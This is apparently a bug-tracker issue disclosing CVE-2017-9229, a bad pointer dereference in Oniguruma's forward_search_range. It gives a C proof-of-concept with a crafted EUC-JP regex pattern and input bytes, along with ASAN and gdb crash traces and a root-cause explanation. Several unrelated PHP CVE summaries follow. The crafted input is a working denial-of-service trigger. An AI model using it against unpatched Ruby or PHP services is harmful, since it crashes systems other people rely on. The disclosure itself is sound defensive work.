Headline
CVE-2017-9229: SIGSEGV in left_adjust_char_head() due to bad dereference · Issue #59 · kkos/oniguruma
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A SIGSEGV occurs in left_adjust_char_head() during regular expression compilation. Invalid handling of reg->dmax in forward_search_range() could result in an invalid pointer dereference, normally as an immediate denial-of-service condition.
Test code:
#include <stdio.h> #include “oniguruma.h”
static int search(regex_t* reg, unsigned char* str, unsigned char* end) { int r; unsigned char *start, *range; OnigRegion *region;
region = onig_region_new();
start = str; range = end; r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE); if (r >= 0) { int i;
fprintf(stderr, "match at %d (%s)\\n", r,
ONIGENC\_NAME(onig\_get\_encoding(reg)));
for (i = 0; i < region->num\_regs; i++) {
fprintf(stderr, "%d: (%d\-%d)\\n", i, region->beg\[i\], region->end\[i\]);
}
} else if (r == ONIG_MISMATCH) { fprintf(stderr, "search fail (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); } else { /* error */ char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r); fprintf(stderr, "ERROR: %s\n", s); fprintf(stderr, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); return -1; }
onig_region_free(region, 1 /* 1:free self, 0:free contents only */); return 0; } static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* apttern_end, char* astr, char* end) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr;
onig_initialize(&enc, 1);
r = onig_new(®, pattern, apttern_end, options, enc, ONIG_SYNTAX_DEFAULT, &einfo); if (r != ONIG_NORMAL) { char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r, &einfo); fprintf(stderr, "ERROR: %s\n", s); return -1; }
r = search(reg, str, end);
onig_free(reg); onig_end(); return 0; } int main() { static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 }; OnigUChar* inp = (const OnigUChar*) "\x00\x7c\x2e\x7b\x39\x7d\x7b\x39\x30\x7d\x7b\x39\x7d\x7b\x2c\x39\x30\x30\x7d\x30"; int r = exec( ONIG_ENCODING_EUC_JP, ONIG_OPTION_NONE, inp, inp+20, (char *) str, str+7 ); return 0; }
ASAN output:
=================================================================
==26842==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000045eef4 bp 0x7ffe5a633330 sp 0x7ffe5a633310 T0)
#0 0x45eef3 in left_adjust_char_head /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194
#1 0x45914a in onigenc_get_right_adjust_char_head_with_prev /home/xie/Downloads/oni/oni-asan-develop/src/regenc.c:78
#2 0x4561ba in forward_search_range /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3240
#3 0x457930 in onig_search /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3611
#4 0x401148 in search /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:15
#5 0x401786 in exec /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:62
#6 0x40189e in main /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:71
#7 0x7fd6ce5c682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#8 0x400f68 in _start (/home/xie/Downloads/oni/oni-asan-develop/test/testc+0x400f68)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194 left_adjust_char_head
==26842==ABORTING
In regcomp.c:4995
static void set_optimize_map_info(regex_t* reg, OptMapInfo* m) { int i;
for (i = 0; i < ONIG_CHAR_TABLE_SIZE; i++) reg->map[i] = m->map[i];
reg->optimize = ONIG_OPTIMIZE_MAP; reg->dmin = m->mmd.min; reg->dmax = m->mmd.max; **// set as 19683000**
if (reg->dmin != ONIG_INFINITE_DISTANCE) { reg->threshold_len = reg->dmin + 1; } }
Later reg->dmax is used in pointer arithmetic at forward_search_range, resulting in a bad reference from regexec.c:3238
if (reg->dmax != ONIG\_INFINITE\_DISTANCE) {
\*low = p - reg->dmax;
if (\*low > s) {
\*low = onigenc\_get\_right\_adjust\_char\_head\_with\_prev(reg->enc, s,
\*low, (const UChar\*\* )low\_prev);
if (low\_prev && IS\_NULL(\*low\_prev))
\*low\_prev = onigenc\_get\_prev\_char\_head(reg->enc,
(pprev ? pprev : s), \*low);
}
Bad dereference:
(gdb) r
Starting program: /home/xie/Downloads/oni/oni-asan-develop/test/testc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x000000000045eef4 in left_adjust_char_head (start=0x66b140 <str> "\307\326\376\352\340", <incomplete sequence \342>, s=0xffffffffff3a5a8e <error: Cannot access memory at address 0xffffffffff3a5a8e>)
at euc_jp.c:194
194 while (!eucjp_islead(*p) && p > start) p--;
(gdb)
Related news
spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.
The phar_make_dirstream function in ext/phar/dirstream.c in PHP before 5.6.18 and 7.x before 7.0.3 mishandles zero-size ././@LongLink files, which allows remote attackers to cause a denial of service (uninitialized pointer dereference) or possibly have unspecified other impact via a crafted TAR archive.
The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.